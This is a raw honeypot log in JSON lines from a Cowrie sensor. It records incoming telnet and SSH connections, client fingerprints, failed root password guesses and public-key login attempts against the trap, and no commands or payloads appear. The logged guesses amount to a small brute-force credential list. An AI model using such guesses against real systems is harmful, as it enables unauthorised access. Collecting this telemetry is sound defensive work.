{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51814,"dst_ip":"10.17.0.5","dst_port":23,"session":"e23f8e7f65f1","protocol":"telnet","message":"New connection: 152.42.224.71:51814 (10.17.0.5:23) [session: e23f8e7f65f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:48.573893Z"}
{"eventid":"cowrie.session.closed","duration":106.73488926887512,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:50.138902Z","src_ip":"152.42.224.71","session":"c2628befcf24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.71732187271118,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:52.121177Z","src_ip":"152.42.224.71","session":"0ba1ce3c7b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46602,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2638ba0162a","protocol":"telnet","message":"New connection: 152.42.224.71:46602 (10.17.0.5:23) [session: e2638ba0162a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:48:55.893029Z"}
{"eventid":"cowrie.session.closed","duration":120.00607538223267,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:00.840896Z","src_ip":"152.42.224.71","session":"a17d5fc57c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.18985915184021,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:01.785037Z","src_ip":"152.42.224.71","session":"89c0f9fd679c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":119.35970544815063,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:04.903351Z","src_ip":"152.42.224.71","session":"c5a5700fd1e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46036,"dst_ip":"10.17.0.5","dst_port":23,"session":"a55a6f854d40","protocol":"telnet","message":"New connection: 152.42.224.71:46036 (10.17.0.5:23) [session: a55a6f854d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:08.779770Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":38964,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f1ff29c4122","protocol":"ssh","message":"New connection: 103.183.114.55:38964 (10.17.0.5:22) [session: 2f1ff29c4122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:14.899462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:14.904584Z","src_ip":"103.183.114.55","session":"2f1ff29c4122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:15.133329Z","src_ip":"103.183.114.55","session":"2f1ff29c4122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25252525","message":"login attempt [root/25252525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:15.814504Z","src_ip":"103.183.114.55","session":"2f1ff29c4122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:17.046650Z","src_ip":"103.183.114.55","session":"2f1ff29c4122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":58092,"dst_ip":"159.203.135.109","dst_port":22,"session":"cca5ed677b3e","protocol":"ssh","message":"New connection: 47.237.167.49:58092 (159.203.135.109:22) [session: cca5ed677b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:21.008327Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":40498,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b3d6556f40","protocol":"ssh","message":"New connection: 167.86.95.8:40498 (10.17.0.5:22) [session: f3b3d6556f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:23.356380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:23.362702Z","src_ip":"167.86.95.8","session":"f3b3d6556f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:23.461593Z","src_ip":"167.86.95.8","session":"f3b3d6556f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3030","message":"login attempt [root/3030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:23.912639Z","src_ip":"167.86.95.8","session":"f3b3d6556f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:25.011590Z","src_ip":"167.86.95.8","session":"f3b3d6556f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48258,"dst_ip":"10.17.0.5","dst_port":23,"session":"337069298e01","protocol":"telnet","message":"New connection: 152.42.224.71:48258 (10.17.0.5:23) [session: 337069298e01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:27.457356Z"}
{"eventid":"cowrie.session.closed","duration":43.667866706848145,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:32.241498Z","src_ip":"152.42.224.71","session":"e23f8e7f65f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.73284363746643,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:36.190064Z","src_ip":"152.42.224.71","session":"337069298e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:38.727065Z","src_ip":"47.237.167.49","session":"cca5ed677b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.85.181","src_port":40130,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d315c26855d","protocol":"ssh","message":"New connection: 43.173.85.181:40130 (10.17.0.5:22) [session: 2d315c26855d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:43.851174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:43.856402Z","src_ip":"43.173.85.181","session":"2d315c26855d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:43.924514Z","src_ip":"43.173.85.181","session":"2d315c26855d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"951753","message":"login attempt [root/951753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:44.228935Z","src_ip":"43.173.85.181","session":"2d315c26855d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:45.300455Z","src_ip":"43.173.85.181","session":"2d315c26855d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50886,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bb156f119d0","protocol":"telnet","message":"New connection: 152.42.224.71:50886 (10.17.0.5:23) [session: 4bb156f119d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:46.409392Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.190.153","src_port":54054,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e3a346bec1a","protocol":"ssh","message":"New connection: 148.113.190.153:54054 (10.17.0.5:22) [session: 5e3a346bec1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.557618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.562811Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.582424Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:33:d2:9c:7e:c5:ff:d8:23:2a:a1:f4:f9:ae:b7:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnFiGeqdHxQFajxaEQu5OTtkchOGJRVDYliGjPokKTytt7tPKhp74B73Rvjlj1LLlj5mEAc27qV0+Qqylxq8AEXEz++7jM4zk3JTWCMg+Mse2pvCWkzi+xGDqBobMKUxl0+RTKVT4StbFrXNMv9I6JSQ6ilIaQdl3B4DHSAPIUEn88K4zkbKfmEWxgRXSjliZBZWQieMNfNqXhZxQT8OI13GltxoI9B+ErnO4WJDvNhbmNm7H0L/5xGwrCl/3CJfZznB8XIPpBrgxPZxrR5GcOfZNVg1lQkdjw15QX3ClKbhuF1m6ynICngCcNuV8vzarUGyfmcoPwV9zS7uXBMJYBWuBnwYtHv6Q7rHhYM1ZJYLh7gJE1bakBNmqwbTgSIbIAmgs78lAkRyHHWmPFPLRRw3BgnUFIbGvRyr4blP5xlwHl8l0UJ8LxrC+/OcELTR0BIIR0Oqqjk75zX+uY/kAcbcUeJbaxM53e0fmEW6ia4EpROgKAQR29EjgoJPVs0NM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:33:d2:9c:7e:c5:ff:d8:23:2a:a1:f4:f9:ae:b7:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.661946Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:33:d2:9c:7e:c5:ff:d8:23:2a:a1:f4:f9:ae:b7:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnFiGeqdHxQFajxaEQu5OTtkchOGJRVDYliGjPokKTytt7tPKhp74B73Rvjlj1LLlj5mEAc27qV0+Qqylxq8AEXEz++7jM4zk3JTWCMg+Mse2pvCWkzi+xGDqBobMKUxl0+RTKVT4StbFrXNMv9I6JSQ6ilIaQdl3B4DHSAPIUEn88K4zkbKfmEWxgRXSjliZBZWQieMNfNqXhZxQT8OI13GltxoI9B+ErnO4WJDvNhbmNm7H0L/5xGwrCl/3CJfZznB8XIPpBrgxPZxrR5GcOfZNVg1lQkdjw15QX3ClKbhuF1m6ynICngCcNuV8vzarUGyfmcoPwV9zS7uXBMJYBWuBnwYtHv6Q7rHhYM1ZJYLh7gJE1bakBNmqwbTgSIbIAmgs78lAkRyHHWmPFPLRRw3BgnUFIbGvRyr4blP5xlwHl8l0UJ8LxrC+/OcELTR0BIIR0Oqqjk75zX+uY/kAcbcUeJbaxM53e0fmEW6ia4EpROgKAQR29EjgoJPVs0NM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.665904Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:9f:22:7c:f3:53:9d:f7:85:20:c1:30:0f:cb:b4:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaku+TZAJ3R/kfhFBr/llDTp7tfoS3Ow9lpefQa5mMm+krUz+0vzMBgvplMaNdgapjB3sNO05keK4AzPmFBoukULNGWABKQsyxZZTNMG2rYBdxj5XfjD1mBy6PTs7sUkv1vnLaZCQ9jpCT64He9kXGPp3xxet71nW4TXc4UNT5hPXqQRHLnjIJjeZ0Fx4A7PoCwNuZANS1faEzOzxmW2JV39qefU7bDV83r1jzGzLL41+MpmsmByZjTuqt5HrtwM7d1yrBgrtrSuK3Z+ES6ZgtfCQeq+S4V5NPbfqdDsvzhmB6ruN3XcLj9Mu+3juhcPvK84yMwYNGC3MgkZlpzKmtVE8LvcoaiSzH9UAf/fGduHHoWGmCw7tDD7ndaqx8OFSfNSCNN56MCMVv3VnhoS8i2R72Je+/f/amZ1DL67mYYWGKb3O/KgCZB7QQzlJ2rSoXRmBQfmHgk/TO4bL/ryK9RHfIapQVyOFho0w9rkH6PEt2pVs8ZjUYcCBMM6IO1b7xjZL2xtVjPrlfBc/qm8x8AOZ8svCDrpp8+MNzLdIW+Z0Z49cqV27d2dx4ZSjQYE8uAfSy5vBeuUmyBV1Bb8AGd8G/eS4G0xQ9+t+Ukv3CJiKCCmgZQTghQCuZCpymFySMEWSo2eDeLsFlEOQxeOHZYVjxZ+y5OVfk0vg2H0jSQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:9f:22:7c:f3:53:9d:f7:85:20:c1:30:0f:cb:b4:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.688075Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:9f:22:7c:f3:53:9d:f7:85:20:c1:30:0f:cb:b4:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaku+TZAJ3R/kfhFBr/llDTp7tfoS3Ow9lpefQa5mMm+krUz+0vzMBgvplMaNdgapjB3sNO05keK4AzPmFBoukULNGWABKQsyxZZTNMG2rYBdxj5XfjD1mBy6PTs7sUkv1vnLaZCQ9jpCT64He9kXGPp3xxet71nW4TXc4UNT5hPXqQRHLnjIJjeZ0Fx4A7PoCwNuZANS1faEzOzxmW2JV39qefU7bDV83r1jzGzLL41+MpmsmByZjTuqt5HrtwM7d1yrBgrtrSuK3Z+ES6ZgtfCQeq+S4V5NPbfqdDsvzhmB6ruN3XcLj9Mu+3juhcPvK84yMwYNGC3MgkZlpzKmtVE8LvcoaiSzH9UAf/fGduHHoWGmCw7tDD7ndaqx8OFSfNSCNN56MCMVv3VnhoS8i2R72Je+/f/amZ1DL67mYYWGKb3O/KgCZB7QQzlJ2rSoXRmBQfmHgk/TO4bL/ryK9RHfIapQVyOFho0w9rkH6PEt2pVs8ZjUYcCBMM6IO1b7xjZL2xtVjPrlfBc/qm8x8AOZ8svCDrpp8+MNzLdIW+Z0Z49cqV27d2dx4ZSjQYE8uAfSy5vBeuUmyBV1Bb8AGd8G/eS4G0xQ9+t+Ukv3CJiKCCmgZQTghQCuZCpymFySMEWSo2eDeLsFlEOQxeOHZYVjxZ+y5OVfk0vg2H0jSQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.692996Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:18:3f:7c:16:8a:1d:7d:bb:40:bb:ab:32:2d:20:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBmR3wgaRUMd2CUIhrADU2YA+lueZfVFADVicprNN5lzbYlC9KoLUCFvvbvj7DO/h9glqrh8irv0EVZCaxgHQoqV6GvvD154ftGNPAfzgn2NO65+yA3LgR74Mqqk0OS5wb3CxigX9b+XOv98/9ezIOKwcuHTS9Vsv/o/XLUF0zFL+bVfAuZTM+jhFumvhZ6AJ67CYmR/T8dlG99A/2UyTSlJ6dHNpJyg5B7pTa/MgZ4ibA96zlmLsqxgVIxSL/J8uECVkCFOYz+VBbHtg68yjIDco5OTQHKZrkRpvbRoodYnEWX5Kl9dMCmUycDWk6qZtZxMQaLblNqPuw4wpNJiIYxMaWGKyjFuh6W+mPsUZlqoqpxqxt2jgejVmlukGcMsfyWxF7kT3pbTMqHYe+TtClZjLczla03AO8k4N3r47/xIw9TBhBKc040U7S9Hr1bOj7s2+3lUCY7tZ0rBKx5e8SDjFEtPyHynU3zoYeOnUYetL7GLe/6BEeqmXaHar+eWwU9pI6668Qiv341I2bR+UcV1CFZnT+oYTG1018tpfSA+5BQEfn7IxqUYysLmzJuWCX6p0hrlN9pl37EXqoJuu5QVJwxQTba6dATd2n2rMwgVF3QKkLrRoEDPpdto45hQLPbfQZjq1BCHZN/BR0G3QDUR3KDKdL0+A/u1YP02jRsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:18:3f:7c:16:8a:1d:7d:bb:40:bb:ab:32:2d:20:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.714568Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:18:3f:7c:16:8a:1d:7d:bb:40:bb:ab:32:2d:20:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBmR3wgaRUMd2CUIhrADU2YA+lueZfVFADVicprNN5lzbYlC9KoLUCFvvbvj7DO/h9glqrh8irv0EVZCaxgHQoqV6GvvD154ftGNPAfzgn2NO65+yA3LgR74Mqqk0OS5wb3CxigX9b+XOv98/9ezIOKwcuHTS9Vsv/o/XLUF0zFL+bVfAuZTM+jhFumvhZ6AJ67CYmR/T8dlG99A/2UyTSlJ6dHNpJyg5B7pTa/MgZ4ibA96zlmLsqxgVIxSL/J8uECVkCFOYz+VBbHtg68yjIDco5OTQHKZrkRpvbRoodYnEWX5Kl9dMCmUycDWk6qZtZxMQaLblNqPuw4wpNJiIYxMaWGKyjFuh6W+mPsUZlqoqpxqxt2jgejVmlukGcMsfyWxF7kT3pbTMqHYe+TtClZjLczla03AO8k4N3r47/xIw9TBhBKc040U7S9Hr1bOj7s2+3lUCY7tZ0rBKx5e8SDjFEtPyHynU3zoYeOnUYetL7GLe/6BEeqmXaHar+eWwU9pI6668Qiv341I2bR+UcV1CFZnT+oYTG1018tpfSA+5BQEfn7IxqUYysLmzJuWCX6p0hrlN9pl37EXqoJuu5QVJwxQTba6dATd2n2rMwgVF3QKkLrRoEDPpdto45hQLPbfQZjq1BCHZN/BR0G3QDUR3KDKdL0+A/u1YP02jRsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:49:51.719128Z","src_ip":"148.113.190.153","session":"5e3a346bec1a","protocol":"ssh"}
